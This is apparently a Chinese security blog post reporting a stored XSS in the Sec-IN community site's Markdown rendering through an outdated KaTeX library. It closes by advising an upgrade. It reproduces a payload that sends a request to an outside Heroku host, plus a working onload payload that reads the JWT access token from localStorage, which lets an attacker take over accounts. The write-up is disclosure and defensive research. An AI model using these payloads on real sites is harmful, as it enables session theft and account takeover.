发现朋友圈都在转发Sec-IN社区的公测信息,我也注册了一个账号。作为一个安全人员,总是对新出现的业务安全性充满兴趣,于是打开控制台看看。
整体网站是vue开发,典型的前后端分离架构,后端使用RestFUL API通信方式,认证使用的jwt。这种架构比较新,传统的漏洞会相对少很多,像XSS这种重点就需要放在富文本这块。
看下功能,发现投稿支持Markdown,简单测试,是无法插入XSS Payload的。看下流量,发现返回的文章内容是markdown原文,而非Html,说明markdown是前端渲染的。
前端渲染Markdown,肯定使用的开源组件,看流量发现加载了katex.min.js:
之前没用过这个组件,搜索一下漏洞:
- https://github.com/KaTeX/KaTeX/issues/1160
- https://blog.gitter.im/2018/02/16/gitter-xss-cryptocoin-mining-security-issue-notification/
- https://gitlab.com/gitlab-org/gitter/webapp/issues/1859
文章里有说到Payload:
$$ <script id="iplog">x=new XMLHttpRequest(); x.open("GET", "https://afternoon-fjord-12487.herokuapp.com/"); x.send();document.getElementById("id").parent.parent.style = "display:none"</script> $$
测试一下发现script标签渲染了,漏洞存在:
但是js没执行,原因是没有触发这个js的条件,因为此时script标签已经写入了。
改成如下payload即可触发:
$$ <input type=image src=/static/css/img/logo.23d7be3.svg onload=alert(localStorage.access_token)> $$
我这里演示的是将locaStorage里的localStorage.access_token
弹出来。因为Sec-IN社区全站使用JWT进行认证,拿到这个Access Token也就等于获取了他人权限,不会受到Cookie里安全限制的影响。
如何修复这个问题呢?只需要将katex升级到最新版。
VolgaCTF2020 比赛的时候只做出来excel_crackme,赛后复现学到了不少~ VolgaCTF_excel_crackme 前置知识 vba 没遇见过vba语法,记录一下~ <> 不等于,相当于!== Range 引用单元格 CLn…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论